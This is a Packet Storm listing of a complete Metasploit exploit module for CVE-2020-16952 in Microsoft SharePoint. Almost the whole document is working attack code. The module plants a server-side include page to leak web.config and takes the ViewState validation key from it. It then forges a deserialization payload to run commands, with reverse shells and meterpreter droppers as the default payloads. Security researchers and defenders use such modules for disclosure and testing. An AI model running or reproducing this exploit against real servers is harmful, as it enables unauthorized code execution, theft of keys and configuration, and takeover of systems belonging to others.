Lucene search

K
packetstormMr_mePACKETSTORM:159612
HistoryOct 19, 2020 - 12:00 a.m.

Microsoft SharePoint SSI / ViewState Remote Code Execution

2020-10-1900:00:00
mr_me
packetstormsecurity.com
715
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::ViewState  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE',  
'Description' => %q{  
This module exploits a server-side include (SSI) in SharePoint to leak  
the web.config file and forge a malicious ViewState with the extracted  
validation key.  
  
This exploit is authenticated and requires a user with page creation  
privileges, which is a standard permission in SharePoint.  
  
The web.config file will be stored in loot once retrieved, and the  
VALIDATION_KEY option can be set to short-circuit the SSI and trigger  
the ViewState deserialization.  
  
Tested against SharePoint 2019 on Windows Server 2016.  
},  
'Author' => [  
'mr_me', # Discovery and exploit  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-16952'],  
['URL', 'https://srcincite.io/advisories/src-2020-0022/'],  
['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'],  
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952']  
],  
'DisclosureDate' => '2020-10-13', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Windows Command',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
],  
[  
'Windows Dropper',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'  
}  
],  
[  
'PowerShell Stager',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'  
}  
]  
],  
'DefaultTarget' => 2,  
'DefaultOptions' => {  
'DotNetGadgetChain' => :TypeConfuseDelegate  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),  
# "Promote" these advanced options so we don't have to pass around our own  
OptString.new('HttpUsername', [false, 'SharePoint username']),  
OptString.new('HttpPassword', [false, 'SharePoint password'])  
])  
end  
  
def post_auth?  
true  
end  
  
def username  
datastore['HttpUsername']  
end  
  
def password  
datastore['HttpPassword']  
end  
  
def vuln_builds  
[  
[Gem::Version.new('15.0.0.4571'), Gem::Version.new('15.0.0.5275')], # SharePoint 2013  
[Gem::Version.new('16.0.0.4351'), Gem::Version.new('16.0.0.5056')], # SharePoint 2016  
[Gem::Version.new('16.0.0.10337'), Gem::Version.new('16.0.0.10366')] # SharePoint 2019  
]  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
# Hat tip @tsellers-r7  
#  
# MicrosoftSharePointTeamServices: 16.0.0.10337: 1; RequireReadOnly  
unless (build_header = res.headers['MicrosoftSharePointTeamServices'])  
return CheckCode::Unknown('Target does not appear to be running SharePoint.')  
end  
  
unless (build = build_header.scan(/^([\d.]+):/).flatten.first)  
return CheckCode::Detected('Target did not respond with SharePoint build.')  
end  
  
if vuln_builds.any? { |build_range| Gem::Version.new(build).between?(*build_range) }  
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")  
end  
  
CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")  
end  
  
def exploit  
unless username && password  
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword are required for exploitation')  
end  
  
if (@validation_key = datastore['VALIDATION_KEY'])  
print_status("Using ViewState validation key #{@validation_key}")  
else  
create_ssi_page  
leak_web_config  
end  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
end  
  
def create_ssi_page  
print_status("Creating page for SSI: #{ssi_path}")  
  
res = send_request_cgi(  
'method' => 'PUT',  
'uri' => ssi_path,  
'data' => ssi_page  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless [200, 201].include?(res.code)  
if res.code == 401  
fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")  
end  
  
fail_with(Failure::NotFound, 'Failed to create page')  
end  
  
print_good('Successfully created page')  
@page_created = true  
end  
  
def leak_web_config  
print_status('Leaking web.config')  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => ssi_path,  
'headers' => {  
ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless res.code == 200  
fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")  
end  
  
unless (web_config = res.get_xml_document.at('//configuration'))  
fail_with(Failure::NotFound, 'Failed to extract web.config from response')  
end  
  
print_good("Saved web.config to: #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")  
  
unless (@validation_key = extract_viewstate_validation_key(web_config))  
fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')  
end  
  
print_good("ViewState validation key: #{@validation_key}")  
ensure  
delete_ssi_page if @page_created  
end  
  
def delete_ssi_page  
print_status("Deleting #{ssi_path}")  
  
res = send_request_cgi(  
'method' => 'DELETE',  
'uri' => ssi_path,  
'partial' => true  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless res.code == 204  
print_warning('Failed to delete page')  
return  
end  
  
print_good('Successfully deleted page')  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/_layouts/15/zoombldr.aspx'),  
'vars_post' => {  
'__VIEWSTATE' => generate_viewstate_payload(  
cmd,  
extra: pack_viewstate_generator('63E6434F'), # /_layouts/15/zoombldr.aspx  
algo: 'sha256',  
key: pack_viewstate_validation_key(@validation_key)  
)  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless res.code == 200  
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")  
end  
  
vprint_good('Successfully executed command')  
end  
  
def ssi_page  
<<~XML  
<WebPartPages:DataFormWebPart runat="server">  
<ParameterBindings>  
<ParameterBinding Name="#{ssi_param}" Location="ServerVariable(HTTP_#{ssi_header})" DefaultValue="" />  
</ParameterBindings>  
<xsl>  
<xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">  
<xsl:param name="#{ssi_param}" />  
<xsl:template match="/">  
<xsl:value-of select="$#{ssi_param}" disable-output-escaping="yes" />  
</xsl:template>  
</xsl:stylesheet>  
</xsl>  
</WebPartPages:DataFormWebPart>  
XML  
end  
  
def ssi_path  
@ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx")  
end  
  
def ssi_header  
@ssi_header ||= rand_text_alphanumeric(8..42)  
end  
  
def ssi_param  
@ssi_param ||= rand_text_alphanumeric(8..42)  
end  
  
end  
`